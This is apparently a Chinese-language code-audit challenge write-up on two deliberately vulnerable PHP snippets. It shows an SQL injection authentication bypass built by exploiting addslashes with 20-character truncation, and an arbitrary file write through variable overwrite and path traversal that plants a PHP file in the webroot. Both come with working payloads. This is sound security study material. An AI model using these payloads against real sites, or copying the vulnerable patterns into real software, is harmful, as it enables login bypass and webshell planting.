  public function sanitizeInput($input, $length = 20) {
    $input = addslashes($input);//这里是在双引号前加/
    if (strlen($input) > $length) {
      $input = substr($input, 0, $length);//控制了字符长度,只能20个字符
    }
    return $input;
  }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);//可控
if (!$auth->isValid()) {
  exit;
}

?>

初步判断是个过滤双引号的sql注入,如果不能用宽字符注入,貌似就没辙…
万万没想到,单独用addslashes确实是不行,但是加上substr就不一样了
因为规定长度为20,超过20就截取前20,而我们都知道\可以转义特殊字符,所以如果在让本来用于过滤特殊符号的\和输入的特殊符号分开,就能起到转义的作用,恰好,可以写payload:

?input=1234567890123456789'

经测试,得到:1234567890123456789\
放到数据库语句里就变成了:

select count(p) from user where user=''1234567890123456789\' AND password = '$pass''

此时因为有了\,那么后面的’就被转义了,因此可以直接写:

user=1234567890123456789'&passwd=or 1=1#

拼合在sql语句里就是:

select count§ from user where user = ‘1234567890123456789’ AND password = ’ or 1=1#’
此时,加粗的字段是user,后面变成了永真,可进行sql注入

day-14:Snowman

<?php
class Carrot {
  const EXTERNAL_DIRECTORY = '/tmp/';
  private $id;
  private $lost = 0;
  private $bought = 0;

  public function __construct($input) {//构造函数传值
    $this->id = rand(1, 1000);//id取随机数

    foreach ($input as $field => $count) {//赋值给count
      $this->$field = $count++;//count++
    }
  }

  public function __destruct() {//构析函数
    file_put_contents(
      self::EXTERNAL_DIRECTORY . $this->id,
      var_export(get_object_vars($this), true)
    );//函数写入,内容为this这个数组里面的东西,这里通过input的传值可传入shell
  }
}

$carrot = new Carrot($_GET);
?>

初步判定,可以通过修改id为路径,输入的值为shell的形式进行写入shell,实现任意文件写入

官方语言说这是变量覆盖 与 路径穿越 的利用:
由于在将随机数赋给id之后,又用来foreach遍历赋值,所以实际上input是覆盖了之前的id变量,导致我们可以写入
payload:

?id=../var/www/html/shell.php&shell=',)%0a<?php phpinfo();?>//

这里的shell=’,)是为了与前面闭合
直接放源代码,测试如下:

显示全文